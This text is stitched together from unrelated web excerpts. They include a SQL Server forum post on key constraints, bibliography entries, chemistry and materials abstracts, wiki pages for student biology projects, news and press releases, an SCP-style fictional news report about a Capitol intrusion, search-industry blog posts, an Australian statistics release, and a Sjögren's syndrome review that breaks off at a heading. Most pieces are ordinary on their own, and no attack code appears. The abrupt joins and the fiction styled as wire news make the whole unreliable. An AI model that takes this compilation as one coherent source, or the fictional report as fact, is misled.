One big difference in our days - I had a written plan for what I wanted to get done, and crossed things off as it happened. She doesn't have such a plan. She thinks I'm crazy for having such a plan. She thinks I'm crazy in general.
See all ya'll Tuesday!
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<D <M <Y
Y> M> D>
Beautiful Soup 2.0.2: People who complained about Beautiful Soup not being set up with distutils, it is now. I also made real unit tests out of my ad hoc tests, so you get the Good Programming Practices two-for-one deal. In conjunction with the unannounced version 2.0.1 there are also some fixes for bugs I found while getting the tests into place.
[Main]
Unless otherwise noted, all content licensed by Leonard Richardson
under a Creative Commons License.
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You are here: Home / Data and maps / Maps and graphs / The major soil types of Europe
The major soil types of Europe
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View Poll Results: Which key will actively participate in referential integrity
Unique key 1 50.00%
Primary key 2 100.00%
Candidate key 0 0%
Multiple Choice Poll. Voters: 2. You may not vote on this poll
Primary key VS Unique key in SQL Server
Go4Expert Member
12Mar2008,08:36 #1
Unique Key constraints:
Unique key constraint will provide you a constraint like the column values should retain uniqueness.
It will allow null value in the column.
It will create non-clustered index by default
Any number of unique constraints can be added to a table.
Code:
CREATE TABLE EMPLOYEETABLE
(EMPID INT ,
IDVAL INT NOT NULL,
FIRSTNAME VARCHAR(30) ,
LASTNAME VARCHAR(30) ,
CITY VARCHAR(30),
JOININGDATE DATETIME)
I have created a table EmployeeTable and i am trying add a unique constriant on the column IDVAL.
Code:
ALTER TABLE EMPLOYEETABLE
ADD CONSTRAINT UNIQUE_CONSTRAINT
UNIQUE (IDVAL)
Primary Key:
Primary key will create column data uniqueness in the table.
Primary key will create clustered index by default
Only one Primay key can be created for a table
Multiple columns can be consolidated to form a single primary key
It wont allow null values.
Code:
ALTER TABLE EMPLOYEETABLE
ADD CONSTRAINT KEY_CONSTRAINT
PRIMARY KEY (IDVAL)
Please provide me your valuable feedback regarding this article.
Regards,
Venkatesan Prabu . J
Last edited by venkatesanj@hcl.in; 12Mar2008 at 08:46.. Reason: Small changes
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Jeff Noon - Alphabetical Bibliography
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Copyright (c) 1995-2011 Al von Ruff.
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Bibliography: Bright River
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Title: Bright River
Author: Stephen Kraus
Year: 1992
Type: SHORTFICTION
Storylen: novelette
ISFDB Record Number: 42068
User Rating: This title has fewer than 5 votes. VOTE
Current Tags: None Add Tags
Publications:
Copyright (c) 1995-2011 Al von Ruff.
ISFDB Engine - Version 4.00 (04/24/06)
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Molecules 2008, 13(9), 2126-2135; doi:10.3390/molecules13092126
Article
Synthesis of Schiff and Mannich Bases of Isatin Derivatives with 4-Amino-4,5-Dihydro-1H-1,2,4-Triazole-5-Ones
1 Department of Chemistry, Karadeniz Technical University, 61080 Trabzon, Turkey 2 Department of Chemistry, Giresun University, 28049 Giresun, Turkey
* Author to whom correspondence should be addressed.
Received: 15 August 2008; in revised form: 28 August 2008 / Accepted: 1 September 2008 / Published: 10 September 2008
Download PDF Full-Text [188 KB, uploaded 1 October 2008 09:18 CEST]
Abstract: Ethyl imidate hydrochlorides 1 were prepared by passing HCl gas through solutions of substituted benzyl cyanides and absolute ethanol. Ethoxycarbonylhydrazones 2 were synthesized from the reaction of compounds 1 with ethyl carbazate. Treatment of 2 with hydrazine hydrate leads to the formation of substituted 4-amino-4,5-dihydro-1H-1,2,4-triazole-5-ones 3. Isatin and 5-chloroisatin were added to 3 to form Schiff bases 4 and N-Mannich bases 5 of these compounds were synthesized by reacting with formaldehyde and piperidine. Their chemical structures were confirmed by means of IR, 1H- and 13C-NMR data and by elemental analysis.
Keywords: Ethyl imidate hydrochloride; ethoxycarbonyl hydrazones; 4-amino-1; 2; 4- triazole-5-one; isatin; Schiff bases; Mannich bases
Article Statistics
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Cite This Article
MDPI and ACS Style
Bekircan, O.; Bektas, H. Synthesis of Schiff and Mannich Bases of Isatin Derivatives with 4-Amino-4,5-Dihydro-1H-1,2,4-Triazole-5-Ones. Molecules 2008, 13, 2126-2135.
AMA Style
Bekircan O, Bektas H. Synthesis of Schiff and Mannich Bases of Isatin Derivatives with 4-Amino-4,5-Dihydro-1H-1,2,4-Triazole-5-Ones. Molecules. 2008; 13(9):2126-2135.
Chicago/Turabian Style
Bekircan, Olcay; Bektas, Hakan. 2008. "Synthesis of Schiff and Mannich Bases of Isatin Derivatives with 4-Amino-4,5-Dihydro-1H-1,2,4-Triazole-5-Ones." Molecules 13, no. 9: 2126-2135.
Molecules EISSN 1420-3049 Published by MDPI AG, Basel, Switzerland RSS E-Mail Table of Contents Alert
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Materials 2012, 5(11), 2258-2269; doi:10.3390/ma5112258
Article
Copper Substitution and Noise Reduction in Brake Pads: Graphite Type Selection
1 Timcal Ltd., Strada Industriale 12, Bodio 6743, Switzerland 2 Laboratoire de Mécanique de Lille, Boulevard Paul Langevin, Villeneuve d'Ascq Cedex 59655, France 3 Indian Institute of Technology, New Delhi 110016, India
* Author to whom correspondence should be addressed.
Received: 24 September 2012; in revised form: 29 October 2012 / Accepted: 5 November 2012 / Published: 9 November 2012
Download PDF Full-Text [4260 KB, Updated Version, uploaded 13 November 2012 15:16 CET]
The original version is still available [4260 KB, uploaded 9 November 2012 09:27 CET]
Abstract: Graphite is commonly used in brake pads. The use of graphite powder has the main goal of solid state lubrication and friction coefficient stabilization. In this article results on resin bonded brake pads with focus on noise performance and heat dissipation are presented. Experimental tests are based on model friction materials with a known formulation and a reduced number of components for a better identification of the role of the graphite type. Results clearly indicate that both noise performance and thermal conductivity are strongly affected by the type of graphite. Guidelines for the selection of graphite types for optimized friction materials are given.
Keywords: graphite; brake pad; noise; thermal conductivity
Article Statistics
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Cite This Article
MDPI and ACS Style
Gilardi, R.; Alzati, L.; Thiam, M.; Brunel, J.-F.; Desplanques, Y.; Dufrénoy, P.; Sharma, S.; Bijwe, J. Copper Substitution and Noise Reduction in Brake Pads: Graphite Type Selection. Materials 2012, 5, 2258-2269.
AMA Style
Gilardi R, Alzati L, Thiam M, Brunel J-F, Desplanques Y, Dufrénoy P, Sharma S, Bijwe J. Copper Substitution and Noise Reduction in Brake Pads: Graphite Type Selection. Materials. 2012; 5(11):2258-2269.
Chicago/Turabian Style
Gilardi, Raffaele; Alzati, Luigi; Thiam, Mamadou; Brunel, Jean-François; Desplanques, Yannick; Dufrénoy, Philippe; Sharma, Sanjeev; Bijwe, Jayashree. 2012. "Copper Substitution and Noise Reduction in Brake Pads: Graphite Type Selection." Materials 5, no. 11: 2258-2269.
Materials EISSN 1996-1944 Published by MDPI AG, Basel, Switzerland RSS E-Mail Table of Contents Alert
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IGEM:Purdue/2008
From OpenWetWare
(Difference between revisions)
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(New page: Purdue iGEM Page through the registry : [http://2008.igem.org/Team:Purdue] President : Craig Barcus Treasurer : Janie Stine Secretary : Erin Rosswurm We are currently working on develo...)
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Purdue iGEM Page through the registry : [http://2008.igem.org/Team:Purdue]
Purdue iGEM Page through the registry : [http://2008.igem.org/Team:Purdue]
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+
===Team Members===
President : Craig Barcus
President : Craig Barcus
Revision as of 19:51, 4 June 2008
Purdue iGEM Page through the registry : [1]
Team Members
President : Craig Barcus
Treasurer : Janie Stine
Secretary : Erin Rosswurm
We are currently working on developing new projects to do. Right now we have 3 "pet projects"
1. Bacterial Warfare : Continuing on the old project. Have to start over, so need to do literature research all over.
2. "Dancing" Bacteria : Creating bacteria that will fluoresce when hit with a certain wavelength of light, and varying the wavelength of light to cause the bacteria to "dance"
3. Engineering Bacteria to create colored proteins to be used as an alternate food coloring.
This list will be updated as time goes on.
We are also affiliated with the Institute of Biological Engineering, IBE. You can visit their website to learn more. [2]
Links to Outside Sources that may be useful
IBE Student Chapter Wiki, [3]
A general overview of milk and how factors affect its lifespan and production, [4].
Go through Purdue Libraries [5] to get to the research databases. I prefer Web of Science.
Wiley Protocols in Molecular Biology. Link will only work on Purdue Recognized Computers. [6]
University of Guelph Overview of Milk: [7].
Literature Articles that may be of use
Investigations into the activity of enzymes produced by spoilage-causing bacteria: a possible basis for improved shelf-life estimation: Braun et al. Food Microbiology. v.16 Pgs. 531-540. 1999.
Microbial and biochemical spoilage of foods: An overview. intVeld, JHJH. International Journal of Food Microbiology. v.33 Pgs. 1-18. 1996.
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ISEEM
From OpenWetWare
Revision as of 18:51, 24 November 2008 by Bill Flanagan (Talk | contribs)
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Home Project People News Members Only Calendar Library
Microbes play fundamental roles in all biology-associated processes on the planet. A powerful new tool in such studies is metagenomics wherein one uses high throughput DNA sequencing methods on DNA isolated directly from environmental samples. Metagenomics has the potential to revolutionize our understanding of the normally hidden yet incredibly important world of microorganisms. However this great potential comes with enormous challenges in the analysis of the sequence data, including (i) the fragmentary nature of sequence data, (ii) the sparse sampling of genomes, populations and communities, and (iii) the unknown phylogenetic diversity and ecological structure of the communities being sampled. We are now working on methodology for analysis of metagenomic data as part of a new collaborative project: Integrating Statistical Evolutionary, and Ecological Approaches to Metagenomics (iSEEM). The iSEEM Project, funded by the Gordon and Betty Moore Foundation, takes an integrated, interdisciplinary approach to metagenomic analysis. We will be working with the Community Cyberinfrastructure for Advanced Marine Microbial Ecology Research and Analysis (CAMERA) to make any methods we develop available to the broader community.
above image © 2007, Dennis Kunkel
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Unemployment, corruption main problems in North Caucasus - official
PanARMENIAN.Net - Corruption remains widespread in North Caucasus, while anti-crime efforts are hampered by high unemployment, Russian Security Council Chief Nikolai Patrushev said on Wednesday, Oct 31, according to RIA Novosti.
“Law-enforcement and security problems in the North Caucasus are far from being solved,” he said, adding that the unemployment rate, which is among Russia’s highest, breeds criminal activity.
He also said that economic crimes constitute a major share in the overall number of crimes committed in the region.“Relevant authorities failed to significantly decrease the number of frauds and budget embezzlements,” Patrushev said.
Moreover, the danger of ethnic extremism persists, especially among young people.
“We also have serous concerns about how well energy and water sources, transport infrastructure, educational and medical facilities, trade centers and other socially important sites are being protected from terrorist attacks,” he said.
Partner news
Top stories
Jorge Rafael Videla, an austere former army commander, led Argentina during the bloodiest days of its Dirty War dictatorship.
According to the United Nations, April was Iraq's bloodiest month for almost five years, with 712 people killed.
Reports suggest the rebel fighters may have tried to blow up the walls of the prison, which holds some 4,000 inmates.
Moscow has condemned other nations for supporting rebel forces and failing to condemn what it describes as terrorist attacks on the Syrian regime.
Partner news
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This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 United States License.
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AVANT Capital Partners Originates Multiple Small Balance Loans in 4Q 2012
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Recent small balance bridge and conventional loans Originated by Avant Capital Partners in the fourth quarter of 2012
Greenwich, CT, United States., February 22, 2013 - (PressReleasePoint) -
AVANT Capital Partners (AVANT), a leading Greenwich CT based commercial real estate lender, has originated a series of small balance bridge and conventional loans in the fourth quarter of 2012.
The completed series of transactions included:
- Acquisition bridge loan to purchase a development site in New York.
- The recapitalization of business oriented real estate with an SBA 7a loan.
- Conventional purchase loan for a multifamily property located in Sea Cliff, NY.
- The cash-out refinance of owner occupied real estate with a conventional loan in Little Rock, AR.
One of the recently originated loans was for the acquisition of a multifamily property located in Sea Cliff, NY. The loan provided the buyer with a 10-year fixed interest rate that was in the low 4.00%’s and a 30-year amortization. The buyer, a local attorney, expressed that he was pleased with the financing, as well as the timeliness of closing and the efficiency with which the loan was processed.
Sea Cliff, NY is a highly desirable village in the Town of Oyster Bay in Nassau County, NY. Properties located in this town enjoy breathtaking views of Hempstead Harbor, Long Island Sound, and the New York and Connecticut Shorelines. Notable past residents include Robert Olen Butler Pulitzer Prize winning novelist, William Cullen Bryant, poet and journalist and Natalie Portman.
“Execution is critical when it comes to acquisitions”, says Adam Luysterborghs, Managing Principal of Avant Capital Partners. “In this case you had a highly desirable asset that was extremely well-located. The Seller had other offers and those buyers were just waiting for a sign that the deal might be back on the table. We had to make sure that our process was carefully orchestrated to prevent our borrower from losing his contract on the property.”
Avant Capital Partners also originated a 20-year loan for Higher Ground Electric Co. which was secured by the company’s headquarters building located in Little Rock, AR. This loan enabled the company to recover a portion of the capital invested into the construction of the 6,000 square foot industrial property. Alan Thompson, CEO of Higher Ground Electric, said “the project financing was critical to the future of our business. The Avant professionals showed me a clear path from beginning to end. Each action step was controlled and monitored.”
About Avant Capital Partners--Avant Capital Partners is a direct commercial real estate lender. The company provides commercial mortgages for stabilized and in-transition investment and owner occupied properties nationwide. They offer permanent financing solutions for stabilized assets and bridge or interim loans for properties that are in-transition.
For more information about Avant Capital Partners, please contact:
Adam Luysterborghs
Managing Principal
203-930-3400
Press Contact:
Adam Luysterborghs
Avant Capital Partners
209 Bruce Park Avenue, 2nd Floor
Greenwich CT 06830
203-930-3400
http://www.avant-capital.com
***@*l**r**i*.com
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Police Seeking Clues After Four Injured in Congressional Intrusion
rating: +31+x
Speculation, Theories Abound About Mysterious Assailant
WASHINGTON (AP) - Little information has been acquired thus far about the motives and identity of a Caucasian female who injured four on the floor of the House of Representatives Wednesday afternoon, a spokesman for the US Capitol Police said.
"We believe the suspect arrived on the House floor at about 12:43 PM and seated herself at a vacant desk next to Congressman [John] Sarbanes (D-MD)," Capitol Police spokesman Dan Anderson said. "The suspect did not engage in any noteworthy behavior until about 3:13 PM, when Congressman Sarbanes yielded the remainder of his time to her after addressing the floor regarding the farm bill."
The unidentified woman's address to the House, which was broadcast live on the cable network C-SPAN and has since been widely distributed over the Internet, has been widely examined by professional and amateur cryptologists worldwide attempting to decipher hypothesized connections to terrorism, domestic political extremists, or other esoteric claims. After opening with the phrase "My fellow Americans: Green April Yamaha flenses applique in toto, dos tacos chorizos con huevos, Allahu akbar," the woman continued for approximately five minutes reciting a seemingly incoherent series of phrases derived from various languages. (For the full text of the speech, click here.)
Speaker of the House John Boehner (R-OH) requested that Sergeant-at-Arms Paul D. Irving restore order when the woman continued speaking after being informed that her time had been exhausted. Upon his attempt to remove her microphone, the woman was observed on the live broadcast to violently tackle Irving and attempt to re-acquire it. Boehner, Sarbanes, and Congressman Adam Smith (D-WA) were injured attempting to assist Irving before Capitol Police reinforcements entered the chamber and arrested the suspect.
The suspect died of unknown causes shortly after being taken into custody. An autopsy will be performed Friday, Anderson said. Irving was transported to George Washington University Hospital and was in stable condition Wednesday evening after suffering multiple fractures and bite wounds. Boehner, Sarbanes, and Smith suffered minor injuries and were treated at the scene.
Video surveillance shows that the suspect entered the Capitol through the main gate shortly before noon, Anderson said, and was admitted by a security officer after showing identification. A forged Congressional ID card was found on the suspect's body, identifying the suspect as "Thompson van der ibn-Teddysburg", a congressman representing the 17th congressional district of the state of "West Chippewa". The security officer involved has been placed on administrative leave pending an investigation of why and how the suspect's identification was accepted as legitimate.
The Capitol Police have established a toll-free hotline for citizens with any information about the suspect's identity. Over five hundred calls had been received as of 6 PM on Wednesday night, Anderson said. More information is expected when the Capitol Police hold their next scheduled press conference on Monday morning at 9 AM EDT.
Wednesday's incident marks the third time an individual with forged credentials has attempted to enter the House floor in recent years, Anderson said. Unidentified individuals were detained and released in 1998 and 2003, after attempting to gain access to the House with credentials identifying them as a congressman from the state of "Hamilton" and a non-voting observer from "the Commonwealth of Amalgamated Polynesia" respectively.
A spokesman for Boehner's office declined to comment on the intrusion or on the nature of the Speaker's injuries.
Memo from O5-4: Get a kill-switch installed on the C-SPAN camera. These leaks are getting out of hand.
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Relevance Defined by the Scientists
May 11, 2005 • 8:46 am | (0) by | Filed Under Search Technology
Most of you know about my little project, The Search Engine Relevancy Challenge. Outside of user's perceived relevance of a search response, how do the PhDs and scientists define relevancy. I particularly like the way Orion clearly described three ways to measure relevancy in a thread started by another researcher named nanocontext, the thread was titled The relevance of "relevance". Orion said that "relevancy has a lot to do with perception" and then he pulls out three types of "perception".
1. Which content is relevant according to user's perception?
2. Which content is relevant according to scoring functions used by a machine (IR system or search engine)?
3. Which list of content (documents) scored and already prequalified as relevant by a search engine algorithm are actually relevant according to user's perception and to the query that has been used?
Orion says that we are trying to measure number three, with RustySearch (by the way, please make this your default browser for the next two weeks to help the study). Nanocontext believes that "#3 is the most critical question, because thats where the money is." In addition, I am told that I should refresh my memory on the topic of "precision versus recall", which I promise to do and write a brief entry on it here. This thread, of course, sprung my interest.
Previous story: Contextual Video Ad Network VidSense
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Daily Search Forum Recap: July 29, 2010
Jul 29, 2010 • 4:00 pm | (0) by | Filed Under Search Forum Recap
Here is a recap of what happened in the search forums today, through the eyes of the Search Engine Roundtable and other search forums on the web.
Search Engine Roundtable Stories:
• Deja Vu: First Time Matt Cutts of Google Saw Web Spam
Aaron Wall posted an example of a large brand manipulating Google through an old spam technique. In short, they were buying expired domains to piggy back off of the link popularity and anchor text of those old domains. Aaron wall said, "buying expired domain names for links is something Matt Cutts loathes." What I find most interesting is the video he posted after (spam doesn't always interest me all that much these days). This video
• Yahoo Search Marketing Reporting Goes Down For Many
There are several complaints at both WebmasterWorld and DigitalPoint Forums that the Yahoo Search Marketing campaigns are missing all their data. One person received a response from Yahoo, where Yahoo presumingly said: Upon researching your account we found there is a known issue causing frustration among many clients. Our reporting systems went down at approximately 8pm on Monday evening. However we have created a case for you within your account and are currently working to
• Searcher Concerned After Wired's Google / CIA Article
Wired published an article last night named Exclusive: Google, CIA Invest in 'Future' of Web Monitoring. Here is a snippet of that article: The investment arms of the CIA and Google are both backing a company that monitors the web in real time - and says it uses that information to predict the future. The company is called Recorded Future, and it scours tens of thousands of websites, blogs and Twitter accounts to find the
• More On Google Alerts Quality Control
A couple months ago, we wrote on how Google Alerts tweaked their algorithm to be more more quality focused and send out less alerts. A recent Google Web Search Help thread has more on how Google Alerts works from Google Product Manager, Marcel. Marcel responded to a quality complaint saying: You're right, both of those are matches for your query, but neither of them are interesting documents. To get only higher quality documents, choose "Up
• Image SEO Expert Knocks On Bing Image Search
A WebmasterWorld thread has Zeus, someone well known in the SEO forum space as tracking the image search engines, as not speaking positively about Bing Image Search. The thread talks how Bing is slower than Google to index new content. Which is often the case, simply cause Google is much faster than most search engines. But Zeus breaks it out to say that their image search is even more disappointing. Zeus said that typically he
• SEO Is Not All About Technical Changes
A WebmasterWorld thread makes a basic and obvious point that many newbies miss. SEO is not just about technical implementation. You can place your title tags in the right place, have a nice site architecture, get links and so on but still not rank well if your site is not useful. The thread creator said it nicely: People come here with a problem about traffic dropping and people try to help by asking technical questions
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Release Date
1307.8 - Australian Capital Territory in Focus, 1999
Previous ISSUE Released at 11:30 AM (CANBERRA TIME) 07/07/1999
Page tools: Print Page Print All RSS Search this Product
MEDIA RELEASE
July 07, 1999
Embargoed: 11:30 AM (AEST)
81/1999
ABS keeps the ACT in focus
The latest edition of the Australian Bureau of Statistics publication Australian Capital Territory in Focus 1999, released today, has a host of new features shedding more light on the ACT economy and its people.
The innovations include information on rental investors, housing, and new and expanding service industries such as information technology, culture and the arts. The chapter on the labour force has been improved with an article on the teenage labour market, as well as covering topics such as underemployment, reason for leaving last full-time job, and the job search experience of the unemployed.
The chapter on health has been significantly revamped to include Medicare statistics and survey results on the use of medications information, immunisation, and prevalence of respiratory conditions. There is also an expanded chapter dealing with the Australian Capital Region.
The statistical summary of what's been happening in the ACT is the local equivalent of the Australian Yearbook. It is used as a major resource tool by business, government and schools in the ACT and covers topics including the economy, people, government, education, health, housing, tourism and transportation.
Some highlights of the publication are:
People
People in the ACT showed a different pattern of health-related lifestyle behaviours from Australians in general. More specifically ACT people:
• are the most active when it comes to participation in sport or physical activity, with 63.6% people 18 and over participating, compared to 47.8% nationally. Swimming and aerobics/fitness were the most popular sports with 20.4% and 16.1% (respectively) of people participating.
• were less likely to smoke (21%) and more likely to exercise at a moderate level (43%) than people living elsewhere in Australia;
• had the highest proportion of adults consuming alcohol in the week prior to the National Health Survey (64%);
• recorded the highest proportion of people suffering from respiratory conditions (42.5%), compared to the national average of 37.4%;
• were more likely to use medications (72.9%) compared to 68.7% nationally;
• had a high incidence of mental disorder (21.1% - one in five), compared to just over one in six nationally;
• reported more illnesses than people in other States and Territories (89.3% compared to 84.8% nationally)
Emerging trends in the ACT
• The population has grown slightly by 0.13% to 308,411 people in 1997-98.
• The private sector is becoming more important with 52% (72,800 people) of wage and salary earners employed in the private sector at August 1998, compared to 48% (67,800) employed in the public sector. However, the private sector employees earned only 35% ($1,799.8 m) of total wages and salaries with 65% ($3,364.1 m) paid to public sector employees.
• There were 567 fewer child care places in February 1999 (down 4.7% on the previous year) and 30 fewer licensed child care centres (244).
• The number of criminal incidents recorded by police in the ACT was 41,130 in the 12 months to June 1998, a decrease of 2.1% (881).
• The total fertility rate decreased to 1.6 children in 1997. This is lower than the Australian total fertility rate of 1.8 children per woman and is the lowest in the country.
• A higher proportion of people are getting married in the ACT with marriages up 13.2% on the previous year and divorces down by 5.1% from the previous year.
Economic indicators and Industry trends
Despite a downturn in the construction and housing industry (total construction fell by 9.5% or $72 million in 1997-98 to 685.2 million), and a decline in manufacturing (turnover down by 1.3% to $594 million and employment down 2.5% or 100 persons) the economy was showing signs of picking up in 1997-98 with a number of key indicators showing improvement:
• In 1997-98 the ACT experienced strong economic growth with Gross State Product rising by 5.8% in current prices and stood at $12,111 million;
• Retail sales continued to be a major contributor to the ACT economy with a turnover of $2.6 billion in 1997-98, showing an annual increase of 5.6%;
• New motor vehicle registrations rose by 44%;
• Employment statistics showed signs of improvement, with the annual average unemployment rate falling to 7.5% (down from 7.9% the previous year) while the participation rate stayed the same at 74.1%;
• The number of visitors to the ACT in 1997-98 was up by 8.7% on the previous year to 1.7 million due to a large increase in domestic tourism. Takings from tourist accommodation increased by $1.6 million to $22.3 million in 1998.
Full details are in Australian Capital Territory in Focus 1999 (cat. no. 1307.8) available in ABS bookshops.
© Commonwealth of Australia 2013
Unless otherwise noted, content on this website is licensed under a Creative Commons Attribution 2.5 Australia Licence together with any terms, conditions and exclusions as set out in the website Copyright notice. For permission to do anything beyond the scope of this licence and copyright terms contact us.
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Tell me more ×
Answers OnStartups is a question and answer site for entrepreneurs looking to start or run a new business. It's 100% free, no registration required.
I'm in discussions with a programmer to do contract work for my startup. He works full time programming at a Massachusetts company whose business is unrelated to mine and my project would be done in the programmer's spare time on his own equipment.
I have an agreement prepared that includes wording assigning the copyright and that programmer warrants no outside conflicts. However I feel it would be safer to have it in writing from his employer that he has permission to do the outside project.
Do you have any comments on taking this approach? How can I get a sample employer permission agreement to allow outside contract work? One that also releases claim to IP ownership to the work and that wouldn't require providing a lot of details about the project to the employer.
Do you know how Massachusetts labor code is regarding IP ownership by employers?
share|improve this question
1 Answer
I can only answer the most general of your questions:
Do you have any comments on taking this approach
First, a link to a phenomenal thread on the interesting relationship between employers, employees, and the work that employees do:
If I'm working at a company, do they have intellectual property rights to the stuff I do in my spare time?
Second, the comment you ask for: It is very wise to understand the mechanical factors (e.g. his contract with his employer) that might affect your ownership of the work your contractor does. But if you're really scrappy you may also want to consider the social factors (e.g. his relationship with his employer), which might make those mechanical factors either very important, or irrelevant.
I am not a lawyer, this is not legal advice.
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This article is part of the series Sjögren's syndrome.
Review
Disturbance of cytokine networks in Sjögren's syndrome
Pierre Youinou1,2* and Jacques-Olivier Pers1,2
Author Affiliations
1 Research Unit "Immunology and Pathology" at the European University of Brittany, Brest, 29609, France
2 Laboratory of Immunology, Brest University Medical School, Brest, 29609, France
For all author emails, please log on.
Arthritis Research & Therapy 2011, 13:227 doi:10.1186/ar3348
The electronic version of this article is the complete one and can be found online at: http://arthritis-research.com/content/13/4/227
Published:6 July 2011
© 2011 BioMed Central Ltd
Abstract
The difficulty in predicting the consequences of interactions between different cytokine networks has increased with the expansion of the T helper (Th) cell universe and the discovery of numerous B lymphocyte-derived cytokines. Consequently, it is now difficult to conceptualize a straightforward view of the contribution of these disturbances to the pathogenesis of primary Sjögren's syndrome (SS). Th1 cells, which produce interferon-γ and IL-2, and Th17 cells, which make IL-17 and TNF-α, have been cast in the leading roles of the play. However, the complex role of T-cell subsets in SS is accentuated by the reciprocal effects of Th17 cells and regulatory T cells found in salivary glands of SS patients. Furthermore, B lymphocyte polarization into type-1 B effector (Be1) and Be2 cells and B-cell modulating factors of the TNF family, most notably the B-cell-activating factor (BAFF), and their prominent role in SS are additional complicating factors. Whereas Th17 cells orchestrate autoreactive germinal centers, local BAFF would repress the generation of Th17 cells. Such new insights into interconnected cytokines in primary SS may lead to new treatments for these patients.
Introduction
Autoimmune epithelitis [1], designated Sjögren's syndrome (SS), primarily affects the lacrimal and salivary glands (SGs), the destruction of which results in xerophthalmia and xerostomia. Regardless of whether this condition presents alone as primary SS or associated with other connective tissue diseases as secondary SS [2], the epithelial structures of the secretory organs are wrapped in a sheath of lymphocytes. These aggregates are predominated by T lymphocytes, most of which are CD4+ rather than the CD8+ T lineage [3]. We [4] and others [5-7] have also described germinal center (GC)-like structures of B cells (Figure 1) infiltrating exocrine tissues.
Figure 1. Pathological changes in the salivary glands of patients with primary Sjögren's syndrome. Left: toluidine blue staining unveils infiltrates of mononuclear cells corresponding to T lymphocytes (×16). Right: B cells forming an ectopic germinal center (×10).
Several contradictory hypotheses have been forwarded to resolve the complexity of the syndrome [8]. The continuing progress in discovering lymphocyte subsets and the lengthening list of cytokines involved, together with how they are affected in SS, has further fuelled the debate on SS pathogenesis. This has been extended to include whether excessive production of cytokines might contribute to clinical symptoms of SS, such as fever, arthralgia and long-term asthenia.
CD4+ T helper (Th) lymphocytes have long been known to be distributed into Th1 and Th2 cells, based on distinct cytokine patterns [9]. Imbalances between type-1 cytokine-producing Th1 cells and type-2 cytokine-producing Th2 cells have been considered as predisposing to autoimmunity. At the time of their seminal discovery, however, Mosmann and Coffman [10] predicted that more Th-cell subsets exist, and indeed numerous Th cell lineages have since been identified. In particular, Th17 cells were described and IL-17 acknowledged as a prime representative of the new generation of proinflammatory cytokines [11]. Concomitantly, regulatory T (Treg) cells were identified as a unique population of Th cells that restrain excessive activation of effector lymphocytes [12] and maintain T- and B-cell tolerance to self antigens.
Despite much progress, controversy over which set(s) of lymphocytes and group(s) of cytokines initiate SS pathogenesis persists. In the past, T cells have been claimed to be capable of initiating autoimmunity on their own, with B cells confined to antibody production. Nevertheless, the failure of T-cell-directed therapies in treating such patients has raised doubts about a dominant role for T lymphocytes in SS. This observation, made against increased recognition of the role of B lymphocytes in diseases and the efficacy of B-cell-depleting agents [13], sparked interest in whether B cells play some role in the pathogenesis of SS [14]. Despite the dogma that they are instructed by T cells, compelling evidence has emerged for autonomous roles for B cells, including the production of cytokines [15]. Accordingly, our current interpretation of cytokine-secreting B-cell subsets stems from the Th cell paradigm. Regulatory B (Breg) cells, recently described in humans [16], do exert regulatory effects through the production of cytokines. Furthermore, B-cell activation of the TNF family (for example, by B-cell-activating factor (BAFF), also known as B-lymphocyte stimulator (BLyS), and a proliferation-inducing ligand (APRIL)) has further substantiated the concept of a notable role for B-cell cytokines in the pathogenesis of SS [17].
The impact of abnormal cytokine production in this disease has attracted considerable attention [18]. Whilst the effect of a cytokine on one lymphocyte subset in SS can be discerned, it has become a challenge to understand how the interaction between several interconnected networks of cytokines impact on so many different cell populations. The concept that the interplay of cytokine-producing T and B cells shifts the balance towards autoreactive T and B lymphocytes has been questioned. Recent findings on the pathogenesis of SS are beneficial at a time when cytokine-directed therapies are being tested for the treatment of inflammatory diseases. However, it remains highly complex to ascribe different symptoms to just a single cytokine.
T-cell cytokines
The polarized Th cell paradigm
Upon T-cell activation, the cytokine milieu dictates Th cell polarization. Thus, IFN-γ and IL-12 engage the T box transcription factor, referred to as Tbet, and the signal transducer and activator of transcription (Stat)-4, to transform naïve CD4+ T cells into Th1 lymphocytes. The latter cells are involved in the response to intracellular pathogens, thus inducing the production of IFN-γ and TNF-α, but not IL-4 and IL-13. In contrast, IL-2 and IL-7 cause the binding of a specific transcription factor to the WGATAR nucleotide consensus sequence (GATA-3). This promotion polarizes naïve T cells towards Th2 lymphocytes. The latter cells are committed to the elimination of extracellular pathogens, thus favoring the production of IL-4 and IL-13. Undoubtedly, GATA-3 represents the master transcription factor for Th2 differentiation. Although the two groups of cytokines are mutually inhibitory, IFN-γ opposes inflammation in certain disease settings, and IL-4 enhances IL-12 production by macrophages, which in turn favors Th1 polarization of naïve Th lymphocytes. Whereas uncontrolled Th1 cells determine autoimmune states, imbalances in Th2 cells lead to allergic disorders. However, were this binary paradigm to be as presumed, no autoimmune traits should emerge in a proportion of patients with excessive Th2 cells [19].
Patients with SS have long been thought to suffer from a Th1-mediated condition. Such interpretation was supported by high levels of IFN-γ in serum [20] and a predominance of Th1 over Th2 cells in blood [21]. In addition, T cells containing mRNA for IFN-γ [22] and Stat-1 have been found in the SGs of patients with SS [23]. In fact, the contribution of each Th subset to SS and their interconnections are more subtle than suggested by the earliest data. In this context, for Th1 cells to underpin SS pathogenesis, one must verify that the activity of Th1 cells is decreased in the blood of patients, while increased in their SGs [24]. Furthermore, the cytokine pattern may shift from Th1 to Th2 as the immunopathological lesions progress, as postulated by Moutsopoulos' group [25]. Supporting their hypothesis, they made the valuable observation that IFN-γ expression is associated with a high-grade infiltrate of the SGs, whereas a low-grade infiltrate is instead accompanied by a type-2 response.
The expanding universe of Th cell subsets
Th17 cells
